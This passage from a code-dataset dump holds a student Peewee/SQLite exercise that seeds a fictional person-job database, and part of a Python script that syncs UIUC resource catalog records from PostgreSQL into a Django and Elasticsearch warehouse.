1])\n","sub_path":"airflow_home/dags/webhooks_dags.py","file_name":"webhooks_dags.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"491126477","text":"# Advanced Programming In Python - Lesson 3 Activity 1: Relational Databases\n# RedMine Issue - SchoolOps-13\n# Code Poet: Anthony McKeever\n# Start Date: 10/30/2019\n# End Date: 10/31/2019\n\n\"\"\"\nSimple database example with Peewee ORM, sqlite and Python\nHere we define the schema\nUse logging for messages so they can be turned off\n\"\"\"\n\nimport sys\nimport logging\nfrom datetime import datetime\n\nfrom peewee import SqliteDatabase\nfrom peewee import IntegrityError\nfrom peewee import Model\n\nfrom peewee import CharField\nfrom peewee import DateField\nfrom peewee import DecimalField\nfrom peewee import ForeignKeyField\n\n# pylint: disable=too-few-public-methods\n\nlogging.basicConfig(level=logging.INFO)\nLOGGER = logging.getLogger(__name__)\n\nLOGGER.info('Naming and connecting to database...')\n\nDATABASE = SqliteDatabase('personjob.db')\nDATABASE.connect()\nDATABASE.execute_sql('PRAGMA foreign_keys = ON;')\n\nLOGGER.info('Defining data schema...')\n\n\nclass BaseModel(Model):\n \"\"\" The Base Model \"\"\"\n class Meta:\n \"\"\" The Meta class \"\"\"\n database = DATABASE\n\n\nclass Person(BaseModel):\n \"\"\"\n This class defines Person, which maintains details of someone\n for whom we want to research career to date.\n \"\"\"\n LOGGER.info('Define Person table...')\n\n person_name = CharField(primary_key=True, max_length=30)\n lives_in_town = CharField(max_length=40)\n nickname = CharField(max_length=20, null=True)\n\n LOGGER.info(\"Table defined successfully.\")\n\n\nclass Job(BaseModel):\n \"\"\"\n This class defines Job, which maintains details of past JOBS\n held by a Person.\n \"\"\"\n LOGGER.info('Define Job table...')\n\n job_id = CharField(primary_key=True, max_length=4)\n job_name = CharField(max_length=30)\n\n LOGGER.info(\"Table defined successfully.\")\n\n\nclass PersonToJob(BaseModel):\n \"\"\" Maps a person to a job. \"\"\"\n LOGGER.info('Define PersonToJob table...')\n\n person_name = ForeignKeyField(Person, to_field=\"person_name\")\n job_id = ForeignKeyField(Job, to_field=\"job_id\")\n\n start_date = DateField(formats='YYYY-MM-DD')\n end_date = DateField(formats='YYYY-MM-DD')\n\n salary = DecimalField(max_digits=7, decimal_places=2)\n duration_days = DecimalField(max_digits=7, decimal_places=0, null=True)\n\n LOGGER.info(\"Table defined successfully.\")\n\n\nclass Department(BaseModel):\n \"\"\"\n This class defines Department\n \"\"\"\n LOGGER.info('Define Department table...')\n\n department_name = CharField(max_length=30)\n department_id = CharField(primary_key=True, max_length=4)\n manager = ForeignKeyField(Person, to_field='person_name', null=True)\n\n LOGGER.info(\"Table defined successfully.\")\n\n\nclass PersonToDepartment(BaseModel):\n \"\"\" Maps a person to a department. \"\"\"\n LOGGER.info('Define PersonToDepartment table...')\n\n person = ForeignKeyField(Person, to_field=\"person_name\", null=False)\n department = ForeignKeyField(Department,\n to_field=\"department_id\",\n null=False)\n\n LOGGER.info(\"Table defined successfully.\")\n\n\nPEOPLE = [{\"name\": \"Kima\", \"town\": \"Yukayosha\", \"nickname\": None},\n {\"name\": \"Delilah\", \"town\": \"Misty Autumn\", \"nickname\": \"Lilah\"},\n {\"name\": \"Astra\", \"town\": \"Almia\", \"nickname\": None},\n {\"name\": \"Cresenta\", \"town\": \"Almia\", \"nickname\": \"Cressy\"},\n {\"name\": \"Katie\", \"town\": \"Lovel\", \"nickname\": \"Kate\"},\n {\"name\": \"Mayrina\", \"town\": \"Collette\", \"nickname\": \"Mari\"},\n {\"name\": \"Kayomi\", \"town\": \"New Sophiesville\", \"nickname\": \"Yomi\"},\n {\"name\": \"Svetlana\", \"town\": \"Kiev\", \"nickname\": \"Lana\"},\n {\"name\": \"Phoebe\", \"town\": \"Ekiya Space Station\", \"nickname\": None}]\n\nJOBS = [{\"title\": \"Temporal Analyst I\", \"id\": \"TA01\"},\n {\"title\": \"Temporal Developer I\", \"id\": \"TD01\"},\n {\"title\": \"Temporal Facilitator I\", \"id\": \"TF01\"},\n {\"title\": \"Deep Field Operative\", \"id\": \"DFO1\"},\n {\"title\": \"Near Field Operative\", \"id\": \"NFO1\"},\n {\"title\": \"Temporal Debugger\", \"id\": \"TDBR\"},\n {\"title\": \"Researcher III\", \"id\": \"RES3\"}]\n\nPEOPLE_JOBS = [{\"name\": \"Kima\", \"job\": \"TF01\",\n \"start\": \"2323-04-13\", \"end\": \"2353-05-30\", \"salary\": \"7000\"},\n {\"name\": \"Delilah\", \"job\": \"TD01\",\n \"start\": \"2150-10-04\", \"end\": \"2353-05-30\", \"salary\": \"7000\"},\n {\"name\": \"Astra\", \"job\": \"TA01\",\n \"start\": \"0012-06-19\", \"end\": \"2353-05-30\", \"salary\": \"7500\"},\n {\"name\": \"Cresenta\", \"job\": \"DFO1\",\n \"start\": \"2153-08-23\", \"end\": \"2153-09-08\", \"salary\": \"8231\"},\n {\"name\": \"Katie\", \"job\": \"TDBR\",\n \"start\": \"2170-12-26\", \"end\": \"2353-05-30\", \"salary\": \"6500\"},\n {\"name\": \"Mayrina\", \"job\": \"NFO1\",\n \"start\": \"2130-03-13\", \"end\": \"2167-02-14\", \"salary\": \"5000\"},\n {\"name\": \"Kayomi\", \"job\": \"NFO1\",\n \"start\": \"2103-11-01\", \"end\": \"2117-04-05\", \"salary\": \"5000\"},\n {\"name\": \"Svetlana\", \"job\": \"TDBR\",\n \"start\": \"1961-05-23\", \"end\": \"2353-05-30\", \"salary\": \"6000\"},\n {\"name\": \"Phoebe\", \"job\": \"RES3\",\n \"start\": \"2149-01-20\", \"end\": \"2154-01-19\", \"salary\": \"4600\"}]\n\nDEPTS = [{\"name\": \"Temporal Integrity\", \"number\": \"T832\", \"manager\": \"Kima\"},\n {\"name\": \"Astrometic Intelligence\",\n \"number\": \"A149\", \"manager\": \"Mayrina\"},\n {\"name\": \"Temporal Refactory\", \"number\": \"T956\", \"manager\": \"Katie\"},\n {\"name\": \"Forbidden Weaponry\", \"number\": \"S004\", \"manager\": \"Phoebe\"}]\n\nRELATIONS = [{\"name\": \"Kima\", \"department\": \"T832\"},\n {\"name\": \"Astra\", \"department\": \"T832\"},\n {\"name\": \"Delilah\", \"department\": \"T832\"},\n {\"name\": \"Cresenta\", \"department\": \"A149\"},\n {\"name\": \"Mayrina\", \"department\": \"A149\"},\n {\"name\": \"Kayomi\", \"department\": \"A149\"},\n {\"name\": \"Phoebe\", \"department\": \"S004\"},\n {\"name\": \"Katie\", \"department\": \"T956\"},\n {\"name\": \"Svetlana\", \"department\": \"T956\"}]\n\n\ndef populate_people(list_people):\n \"\"\"\n Populates people in the database\n\n :list_people: The list of people to populate\n \"\"\"\n LOGGER.info(\"Start populating people\")\n\n for person in list_people:\n try:\n current = Person.get_or_create(person_name=person[\"name\"],\n lives_in_town=person[\"town\"],\n nickname=person[\"nickname\"])\n LOGGER.debug('Saved Person: %s', current)\n except IntegrityError as integrity:\n LOGGER.debug(\"Failed to save person: %d\", person)\n LOGGER.error(integrity)\n\n LOGGER.info(\"Finished populating people\")\n\n\ndef populate_jobs(list_jobs):\n \"\"\"\n Populates jobs in the database\n\n :list_jobs: The list of jobs to populate\n \"\"\"\n LOGGER.info(\"Start populating jobs\")\n\n for job in list_jobs:\n try:\n current = Job.get_or_create(job_id=job[\"id\"],\n job_name=job[\"title\"])\n LOGGER.debug('Saved Job: %s', current)\n except IntegrityError as integrity:\n LOGGER.debug(\"Failed to save job: %d\", job)\n LOGGER.error(integrity)\n\n LOGGER.info(\"Finished populating jobs\")\n\n\ndef populate_person_to_job(list_people_job):\n \"\"\"\n Populates people to jobs in the database\n\n :list_jobs: The list of people to jobs to populate\n \"\"\"\n LOGGER.info(\"Start populating PersonToJob\")\n\n for people_job in list_people_job:\n try:\n duration = None\n start = people_job.get(\"start\")\n end = people_job.get(\"end\")\n\n if start is not None and end is not None:\n formatter = \"%Y-%m-%d\"\n start_date = datetime.strptime(start, formatter)\n end_date = datetime.strptime(end, formatter)\n duration = (end_date - start_date).days\n\n person = Person.get(Person.person_name == people_job[\"name\"])\n job = Job.get(Job.job_id == people_job[\"job\"])\n\n current = PersonToJob.get_or_create(person_name=person.person_name,\n job_id=job.job_id,\n start_date=start,\n end_date=end,\n salary=people_job[\"salary\"],\n duration_days=duration)\n\n LOGGER.debug('Saved PersonToJob: %s', current)\n except IntegrityError as integrity:\n LOGGER.debug(\"Failed to save PersonToJob: %d\", people_job)\n LOGGER.error(integrity)\n\n LOGGER.info(\"Finished populating PersonToJob\")\n\n\ndef populate_departments(list_depts):\n \"\"\"\n Populates departments in the database\n\n :list_depts: The list of jobs to populate\n \"\"\"\n LOGGER.info(\"Start populating departments\")\n\n for dept in list_depts:\n try:\n current = Department.get_or_create(department_name=dept[\"name\"],\n department_id=dept[\"number\"],\n manager=dept[\"manager\"])\n LOGGER.debug('Saved Department: %s', current)\n except IntegrityError as integrity:\n LOGGER.debug(\"Failed to save Department: %d\", dept)\n LOGGER.error(integrity)\n\n LOGGER.info(\"Finished populating departments\")\n\n\ndef populate_relations(list_relation):\n \"\"\"\n Populates relations in the database\n\n :list_relation: The list of relations to populate\n \"\"\"\n LOGGER.info(\"Start populating PEOPLEToDepartment\")\n for relation in list_relation:\n person = Person.get(Person.person_name == relation[\"name\"])\n dept = Department.get(Department.department_id ==\n relation[\"department\"])\n\n PersonToDepartment.get_or_create(person=person.person_name,\n department=dept.department_id)\n\n LOGGER.info(\"Finished populating PEOPLEToDepartment\")\n\n\ndef main():\n \"\"\"\n The main method of the application.\n \"\"\"\n try:\n LOGGER.info(\"Initialize database...\")\n DATABASE.create_tables([Person, Job, PersonToJob,\n Department, PersonToDepartment])\n LOGGER.info(\"Database initialized successfully.\")\n\n except IntegrityError as integrity:\n LOGGER.error(integrity)\n LOGGER.info(\"Failed to initialize database. Exiting.\")\n\n sys.exit()\n\n populate_people(PEOPLE)\n populate_jobs(JOBS)\n populate_person_to_job(PEOPLE_JOBS)\n populate_departments(DEPTS)\n populate_relations(RELATIONS)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"students/anthony_mckeever/lesson_3/activity_1/personjob_model.py","file_name":"personjob_model.py","file_ext":"py","file_size_in_byte":10810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"66587581","text":"#!/usr/bin/env python3\n\n# Copy UIUC resources information from a source (database) to the destination (warehouse)\nimport argparse\nfrom collections import Counter\nimport datetime\nfrom datetime import datetime, timezone, tzinfo, timedelta\nfrom hashlib import md5\nimport http.client as httplib\nimport json\nimport logging\nimport logging.handlers\nimport os\nfrom pid import PidFile\nimport psycopg2\nimport pwd\nimport re\nimport shutil\nimport signal\nimport ssl\nimport sys, traceback\nfrom time import sleep\nfrom urllib.parse import urlparse\nimport pytz\nCentral_TZ = pytz.timezone('US/Central')\nUTC_TZ = pytz.timezone('UTC')\n\nimport django\ndjango.setup()\nfrom django.forms.models import model_to_dict\nfrom django.utils.dateparse import parse_datetime\nfrom resource_v3.models import *\nfrom processing_status.process import ProcessingActivity\n\nimport elasticsearch_dsl.connections\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\n\nimport pdb\n\n# Localize to Central timezone if needed and return a string that can be JSON serialized\ndef datetime_standardize_asstring(indate):\n # We have a datetime type\n if isinstance(indate, datetime):\n if not indate.tzinfo: # Add missing timezone\n return(Central_TZ.localize(indate).strftime('%Y-%m-%dT%H:%M:%S%z'))\n else:\n return(indate)\n # We have a string type\n try:\n p_indate = parse_datetime(indate)\n if not p_indate.tzinfo: # Add missing timezone\n return(Central_TZ.localize(p_indate).strftime('%Y-%m-%dT%H:%M:%S%z'))\n except:\n pass\n return(indate)\n\n# Convert to datetime if needed and Localize to Central timezone if needed\ndef datetime_standardize(indate):\n # We have a string instead of a datetime type\n if isinstance(indate, datetime):\n dtm_indate = indate\n else:\n try:\n dtm_indate = parse_datetime(indate)\n except:\n return(indate)\n # We are missing a timezone\n if not dtm_indate.tzinfo:\n dtm_indate = Central_TZ.localize(dtm_indate)\n # Return datime in UTC\n return(dtm_indate.astimezone(tz = UTC_TZ))\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\nclass Router():\n def __init__(self, peek_sleep=10, offpeek_sleep=60, max_stale=24 * 60):\n parser = argparse.ArgumentParser(epilog='File SRC|DEST syntax: file:= 1:\n self.logger.error('Source is missing a database name')\n sys.exit(1)\n\n DEST_URL = getattr(self.args, 'dest') or self.config.get('DESTINATION', 'analyze')\n if not DEST_URL:\n self.logger.error('Destination was not specified')\n sys.exit(1)\n try:\n self.DEST_PARSE = urlparse(DEST_URL)\n except:\n self.logger.error('Destination is missing or invalid')\n sys.exit(1)\n\n if self.DEST_PARSE.scheme not in ['file', 'analyze', 'warehouse']:\n self.logger.error('Destination not {file, analyze, warehouse}')\n sys.exit(1)\n\n if self.SOURCE_PARSE.scheme in ['file'] and self.DEST_PARSE.scheme in ['file']:\n self.logger.error('Source and Destination can not both be a {file}')\n sys.exit(1)\n\n # Initialize appliation variables\n self.peak_sleep = peek_sleep * 60 # 10 minutes in seconds during peak business hours\n self.offpeek_sleep = offpeek_sleep * 60 # 60 minutes in seconds during off hours\n self.max_stale = max_stale * 60 # 24 hours in seconds force refresh\n self.memory = {}\n self.PROVIDER_URNMAP = self.memory['provider_urnmap'] = {}\n self.Affiliation = 'uiuc.edu'\n self.URNPrefix = 'urn:ogf:glue2:'\n self.WAREHOUSE_API_PREFIX = 'http://localhost:8000' if self.args.dev else 'https://info.xsede.org/wh1'\n self.WAREHOUSE_API_VERSION = 'v3'\n self.WAREHOUSE_CATALOG = 'ResourceV3'\n\n # Loading all the Catalog entries for our affiliation\n self.CATALOGS = {}\n for cat in ResourceV3Catalog.objects.filter(Affiliation__exact=self.Affiliation):\n self.CATALOGS[cat.ID] = model_to_dict(cat)\n\n self.DefaultValidity = timedelta(days = 14)\n self.STATUSMAP = {\n '4': 'Planned',\n '3': 'Pre-production',\n '2': 'Retired',\n '1': 'Production',\n }\n # https://docs.google.com/spreadsheets/d/1UbOy3FTEBQFFTCfaXNnh-6PASPCyxsOu2vrRledAkOg\n # V2 to V3 type mapping\n self.TYPEMAP = {\n 'resource_group_events:Event': 'Live Events:Event',\n 'resource_group_online_training:StreamingResource': 'Streamed Events:Training',\n 'resource_group_tools_and_services:BackupAndStorage': 'Computing Tools and Services:Backup and Storage',\n 'resource_group_tools_and_services:ConsultingAndSupport': 'Professional Services:Consulting and Support',\n 'resource_group_tools_and_services:Data': 'Data Resources:Data',\n 'resource_group_tools_and_services:Instrument': 'Computing Tools and Services:Backup and Storage',\n 'resource_group_tools_and_services:NetworkingAndSecurity': 'Computing Tools and Services:Networking and Security',\n 'resource_group_tools_and_services:Programming': 'Computing Tools and Services:Programming',\n 'resource_group_tools_and_services:ResearchComputing': 'Computing Tools and Services:Research Computing',\n 'resource_group_tools_and_services:Software': 'Software:Software',\n 'resource_group_tools_and_services:WebPublishingAndCommunication': 'Computing Tools and Services:Web Publishing and Communications',\n }\n self.TITLEMAP = {\n 'Research Computing': 'Research Computing',\n 'Web Hosting and Publishing': 'Web Publishing and Communications',\n 'Data Resources': 'Data',\n }\n\n self.STEPS = []\n for stepconf in self.config['STEPS']:\n if not stepconf.get('LOCALTYPE'):\n self.logger.error('Step LOCALTYPE is missing or invalid')\n sys.exit(1)\n if not stepconf.get('CATALOGURN'):\n self.logger.error('Step \"{}\" CATALOGURN is missing or invalid'.format(stepconf.get('LOCALTYPE')))\n sys.exit(1)\n if stepconf['CATALOGURN'] not in self.CATALOGS:\n self.logger.error('Step \"{}\" CATALOGURN is not define in Resource Catalogs'.format(stepconf.get('LOCALTYPE')))\n sys.exit(1)\n myCAT = self.CATALOGS[stepconf['CATALOGURN']]\n stepconf['SOURCEURL'] = myCAT['CatalogAPIURL']\n \n try:\n SRCURL = urlparse(stepconf['SOURCEURL'])\n except:\n self.logger.error('Step SOURCE is missing or invalid')\n sys.exit(1)\n if SRCURL.scheme not in ['sql']:\n self.logger.error('Source must be one of {sql}')\n sys.exit(1)\n stepconf['SRCURL'] = SRCURL\n\n try:\n DSTURL = urlparse(stepconf['DESTINATION'])\n except:\n self.logger.error('Step DESTINATION is missing or invalid')\n sys.exit(1)\n if DSTURL.scheme not in ['function']:\n self.logger.error('Destination must be one of {function}')\n sys.exit(1)\n stepconf['DSTURL'] = DSTURL\n # Merge CATALOG config and STEP config, with latter taking precendence\n self.STEPS.append({**self.CATALOGS[stepconf['CATALOGURN']], **stepconf})\n \n def exit_signal(self, signum, frame):\n self.logger.critical('Caught signal={}({}), exiting with rc={}'.format(signum, signal.Signals(signum).name, signum))\n sys.exit(signum)\n\n def exit(self, rc):\n if rc:\n self.logger.error('Exiting with rc={}'.format(rc))\n sys.exit(rc)\n\n def SaveDaemonStdOut(self, path):\n # Save daemon log file using timestamp only if it has anything unexpected in it\n try:\n with open(path, 'r') as file:\n lines = file.read()\n if not re.match('^started with pid \\d+$', lines) and not re.match('^$', lines):\n nowstr = datetime.strftime(datetime.now(), '%Y-%m-%d_%H:%M:%S')\n newpath = '{}.{}'.format(path, nowstr)\n shutil.move(path, newpath)\n print('SaveDaemonStdOut as {}'.format(newpath))\n except Exception as e:\n print('Exception in SaveDaemonStdOut({})'.format(path))\n return\n\n def Connect_Source(self, urlparse): # TODO\n [host, port] = urlparse.netloc.split(':')\n port = port or '5432'\n database = urlparse.path.strip('/')\n conn_string = \"host='{}' port='{}' dbname='{}' user='{}' password='{}'\".format(host, port, database, self.config['SOURCE_DBUSER'], self.config['SOURCE_DBPASS'] )\n # get a connection, if a connect cannot be made an exception will be raised here\n conn = psycopg2.connect(conn_string)\n # conn.cursor will return a cursor object, you can use this cursor to perform queries\n cursor = conn.cursor()\n self.logger.info('Connected to PostgreSQL database {} as {}'.format(database, self.config['SOURCE_DBUSER']))\n return(cursor)\n \n def Connect_Elastic(self):\n if 'ELASTIC_HOSTS' in self.config:\n self.ESEARCH = elasticsearch_dsl.connections.create_connection( \\\n hosts = self.config['ELASTIC_HOSTS'], \\\n connection_class = RequestsHttpConnection, \\\n timeout = 10)\n ResourceV3Index.init()\n else:\n self.ESEARCH = None\n \n def Disconnect_Source(self, cursor):\n cursor.close()\n \n def CATALOGURN_to_URL(self, id):\n return('{}/resource-api/{}/catalog/id/{}/'.format(self.WAREHOUSE_API_PREFIX, self.WAREHOUSE_API_VERSION, id))\n\n def format_GLOBALURN(self, *args):\n newargs = list(args)\n newargs[0] = newargs[0].rstrip(':')\n return(':'.join(newargs))\n\n def Read_SQL(self, cursor, sql, localtype):\n try:\n cursor.execute(sql)\n except psycopg2.Error as e:\n self.logger.error('Failed \"{}\" with {}: {}'.format(sql, e.pgcode, e.pgerror))\n self.exit(1)\n\n COLS = [desc.name for desc in cursor.description]\n DATA = []\n for row in cursor.fetchall():\n DATA.append(dict(zip(COLS, row)))\n return({localtype: DATA})\n\n def Memory_Tags(self, content, localtype, config):\n TAGS = self.memory['tags'] = {}\n for rowdict in content[localtype]:\n TAGS[str(rowdict['id'])] = rowdict['label']\n return(True, '')\n \n def Memory_Resource_Tags(self, content, localtype, config):\n TAGS = self.memory['tags']\n RTAGS = self.memory['resource_tags'] = {}\n for rowdict in content[localtype]:\n id = str(rowdict['id'])\n if id not in RTAGS:\n RTAGS[id] = []\n try:\n RTAGS[id].append(TAGS[str(rowdict['tag_id'])])\n except:\n pass\n return(True, '')\n\n def Memory_Resource_Associations(self, content, localtype, config):\n RA = self.memory['resource_associations'] = {}\n for rowdict in content[localtype]:\n try:\n resource_id = str(rowdict['resource_id'])\n if resource_id not in RA:\n RA[resource_id] = []\n RA[resource_id].append(str(rowdict['associated_resource_id']))\n except:\n pass\n return(True, '')\n\n def Memory_Guide_Resources(self, content, localtype, config):\n GR = self.memory['guide_resources'] = {}\n for rowdict in content[localtype]:\n try:\n guide_id = str(rowdict['curated_guide_id'])\n if guide_id not in GR:\n GR[guide_id] = []\n GR[guide_id].append(str(rowdict['resource_id']))\n except:\n pass\n return(True, '')\n\n #\n # Delete old items (those in 'cur') that weren't updated (those in 'new')\n #\n def Delete_OLD(self, me, cur, new):\n for URN in [id for id in cur if id not in new]:\n try:\n ResourceV3Index.get(id = URN).delete()\n except Exception as e:\n self.logger.error('{} deleting Elastic id={}: {}'.format(type(e).__name__, URN, e))\n try:\n ResourceV3Relation.objects.filter(FirstResourceID__exact = URN).delete()\n ResourceV3.objects.get(pk = URN).delete()\n ResourceV3Local.objects.get(pk = URN).delete()\n except Exception as e:\n self.logger.error('{} deleting ID={}: {}'.format(type(e).__name__, URN, e))\n else:\n self.logger.info('{} deleted ID={}'.format(me, URN))\n self.STATS.update({me + '.Delete'})\n return()\n #\n # Update relations and delete relations for myURN that weren't just updated (newURNS)\n #\n def Update_REL(self, myURN, newRELATIONS):\n newURNS = []\n for relatedID in newRELATIONS:\n try:\n relationURN = ':'.join([myURN, md5(relatedID.encode('UTF-8')).hexdigest()])\n relation, created = ResourceV3Relation.objects.update_or_create(\n ID = relationURN,\n defaults = {\n 'FirstResourceID': myURN,\n 'SecondResourceID': relatedID,\n 'RelationType': newRELATIONS[relatedID]\n })\n relation.save()\n except Exception as e:\n msg = '{} saving Relation ID={}: {}'.format(type(e).__name__, relationURN, e)\n self.logger.error(msg)\n return(False, msg)\n newURNS.append(relationURN)\n try: # Delete myURN relations that weren't just added/updated (newURNS)\n ResourceV3Relation.objects.filter(FirstResourceID__exact = myURN).exclude(ID__in = newURNS).delete()\n except Exception as e:\n self.logger.error('{} deleting Relations for Resource ID={}: {}'.format(type(e).__name__, myURN, e))\n\n def Warehouse_Providers(self, content, contype, config):\n start_utc = datetime.now(timezone.utc)\n myRESGROUP = 'Organizations'\n myRESTYPE = 'Provider'\n me = '{} to {}({}:{})'.format(sys._getframe().f_code.co_name, self.WAREHOUSE_CATALOG, myRESGROUP, myRESTYPE)\n self.PROCESSING_SECONDS[me] = getattr(self.PROCESSING_SECONDS, me, 0)\n \n cur = {} # Current items in database\n new = {} # New/updated items\n for item in ResourceV3Local.objects.filter(Affiliation__exact = self.Affiliation).filter(LocalType__exact = contype):\n cur[item.ID] = item\n \n for item in content[contype]:\n id_str = str(item['id']) # From number\n myGLOBALURN = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', contype, id_str)\n try:\n local, created = ResourceV3Local.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'CreationTime': datetime.now(timezone.utc),\n 'Validity': self.DefaultValidity,\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'LocalType': contype,\n 'LocalURL': config.get('SOURCEDEFAULTURL', None),\n 'CatalogMetaURL': self.CATALOGURN_to_URL(config['CATALOGURN']),\n 'EntityJSON': item\n })\n local.save()\n except Exception as e:\n msg = '{} saving local ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n new[myGLOBALURN] = local\n\n try:\n resource, created = ResourceV3.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'QualityLevel': 'Production',\n 'Name': item['name'],\n 'ResourceGroup': myRESGROUP,\n 'Type': myRESTYPE,\n 'ShortDescription': None,\n 'ProviderID': None,\n 'Description': None,\n 'Topics': None,\n 'Keywords': None,\n 'Audience': self.Affiliation\n })\n resource.save()\n resource.indexing()\n except Exception as e:\n msg = '{} saving ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n \n myNEWRELATIONS = {} # The new relations for this item, key=related ID, value=relation type\n if item.get('parent_provider'):\n parentURN = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', contype, str(item['parent_provider']))\n myNEWRELATIONS[parentURN] = 'Provided By'\n self.Update_REL(myGLOBALURN, myNEWRELATIONS)\n \n self.STATS.update({me + '.Update'})\n self.logger.debug('Provider save ID={}'.format(myGLOBALURN))\n\n self.Delete_OLD(me, cur, new)\n\n self.PROCESSING_SECONDS[me] += (datetime.now(timezone.utc) - start_utc).total_seconds()\n self.log_target(me)\n return(True, '')\n\n def Warehouse_Resources(self, content, contype, config):\n start_utc = datetime.now(timezone.utc)\n# Each item has its own GROUP and TYPE set inside the loop below\n# myRESGROUP = 'Organizations'\n# myRESTYPE = 'Provider'\n me = '{} to {}({}:{})'.format(sys._getframe().f_code.co_name, self.WAREHOUSE_CATALOG, '*', '*')\n self.PROCESSING_SECONDS[me] = getattr(self.PROCESSING_SECONDS, me, 0)\n\n cur = {} # Current items in database\n new = {} # New/updated items\n for item in ResourceV3Local.objects.filter(Affiliation__exact=self.Affiliation).filter(LocalType__exact=contype):\n cur[item.ID] = item\n \n RTAGS = self.memory['resource_tags']\n RA = self.memory['resource_associations']\n self.RESOURCE_CONTYPE = contype\n for item in content[contype]:\n id_str = str(item['id'])\n myGLOBALURN = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', contype, id_str)\n\n for field in ['last_updated', 'start_date_time', 'end_date_time']:\n if field in item and isinstance(item[field], datetime):\n item[field] = datetime_standardize_asstring(item[field])\n\n # Convert warehouse last_update JSON string to datetime with timezone\n # Incoming last_update is a datetime with timezone\n # Once they are both datetimes with timezone, compare their strings\n # Can't compare directly because tzinfo have different represenations in Python and Django\n if not self.args.ignore_dates:\n try:\n cur_dtm = str(cur[myGLOBALURN].EntityJSON['last_updated']) # Should be string, but just in case\n except:\n cur_dtm = datetime_standardize_asstring(datetime.now(timezone.utc))\n new_dtm = item.get('last_updated', '') # Already converted to string above\n if str(cur_dtm) == str(new_dtm):\n self.STATS.update({me + '.Skip'})\n new[myGLOBALURN] = 'Skipped' # So that we don't Delete_OLD below\n continue\n \n myNEWRELATIONS = {} # The new relations for this item, key=related ID, value=relation type\n try:\n myProviderID = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', 'provider', str(item['provider']))\n except:\n myProviderID = None\n else:\n myNEWRELATIONS[myProviderID] = 'Provided By'\n\n # V2 to V3 type mapping\n MAPKEY = '{}:{}'.format(item.get('resource_group', ''), item.get('resource_type', ''))\n (myRESGROUP, myRESTYPE) = self.TYPEMAP.get(MAPKEY, 'Error:Error').split(':')[:2]\n try:\n QualityLevel = self.STATUSMAP[str(item['record_status'])]\n except:\n QualityLevel = None\n try:\n Keywords = ','.join(RTAGS[id_str])\n except:\n Keywords = None\n \n if myRESTYPE or '' == 'Event': # In case it is None\n try:\n StartDateTime = datetime_standardize(item['start_date_time'])\n except:\n StartDateTime = None\n try:\n EndDateTime = datetime_standardize(item['end_date_time'])\n except:\n EndDateTime = None\n else:\n StartDateTime = None\n EndDateTime = None\n \n try:\n local, created = ResourceV3Local.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'CreationTime': datetime.now(timezone.utc),\n 'Validity': self.DefaultValidity,\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'LocalType': contype,\n 'LocalURL': config.get('SOURCEDEFAULTURL', None),\n 'CatalogMetaURL': self.CATALOGURN_to_URL(config['CATALOGURN']),\n 'EntityJSON': item\n })\n local.save()\n except Exception as e:\n msg = '{} saving local ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n new[myGLOBALURN] = local\n \n try:\n resource, created = ResourceV3.objects.update_or_create(\n ID = myGLOBALURN,\n defaults = {\n 'Affiliation': self.Affiliation,\n 'LocalID': id_str,\n 'QualityLevel': QualityLevel,\n 'Name': item.get('resource_name', None),\n 'ResourceGroup': myRESGROUP,\n 'Type': myRESTYPE,\n 'ShortDescription': item.get('short_description', None),\n 'ProviderID': myProviderID,\n 'Description': item.get('resource_description', None),\n 'Topics': item.get('topics', None),\n 'Keywords': Keywords,\n 'Audience': self.Affiliation,\n 'StartDateTime': StartDateTime,\n 'EndDateTime': EndDateTime\n })\n resource.save()\n resource.indexing()\n except Exception as e:\n msg = '{} saving ID={}: {}'.format(type(e).__name__, myGLOBALURN, e)\n self.logger.error(msg)\n return(False, msg)\n\n if id_str in RA:\n for assoc_id in RA[id_str]:\n relatedID = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', contype, assoc_id)\n myNEWRELATIONS[relatedID] = 'Associated With'\n self.Update_REL(myGLOBALURN, myNEWRELATIONS)\n\n self.STATS.update({me + '.Update'})\n self.logger.debug('{} updated ID={}'.format(contype, myGLOBALURN))\n\n self.Delete_OLD(me, cur, new)\n\n self.PROCESSING_SECONDS[me] += (datetime.now(timezone.utc) - start_utc).total_seconds()\n self.log_target(me)\n return(True, '')\n\n def Warehouse_Guides(self, content, contype, config):\n start_utc = datetime.now(timezone.utc)\n myRESGROUP = 'Guides'\n# Each item has its own TYPE set inside the loop below\n# myRESTYPE = 'Provider'\n me = '{} to {}({}:{})'.format(sys._getframe().f_code.co_name, self.WAREHOUSE_CATALOG, myRESGROUP, '*')\n self.PROCESSING_SECONDS[me] = getattr(self.PROCESSING_SECONDS, me, 0)\n\n GR = self.memory['guide_resources']\n cur = {} # Current items in database\n new = {} # New/updated items\n for item in ResourceV3Local.objects.filter(Affiliation__exact = self.Affiliation).filter(LocalType__exact = contype):\n cur[item.ID] = item\n \n for item in content[contype]:\n id_str = str(item['id']) # From number\n myGLOBALURN = self.format_GLOBALURN(self.URNPrefix, 'uiuc.edu', contype, id_str)\n if 'created_at' in item and isinstance(item['created_at'], datetime):\n item['created_at'] = datetime_standardize_asstring(item['created_at'])\n if 'updated_at' in item and isinstance(item['updated_at'], datetime):\n item['updated_at'] = datetime_standardize_asstring(item['updated_at'])\n myRESTYPE = self.TITLEMAP.get(item['title'], '')\n try:\n local, created = 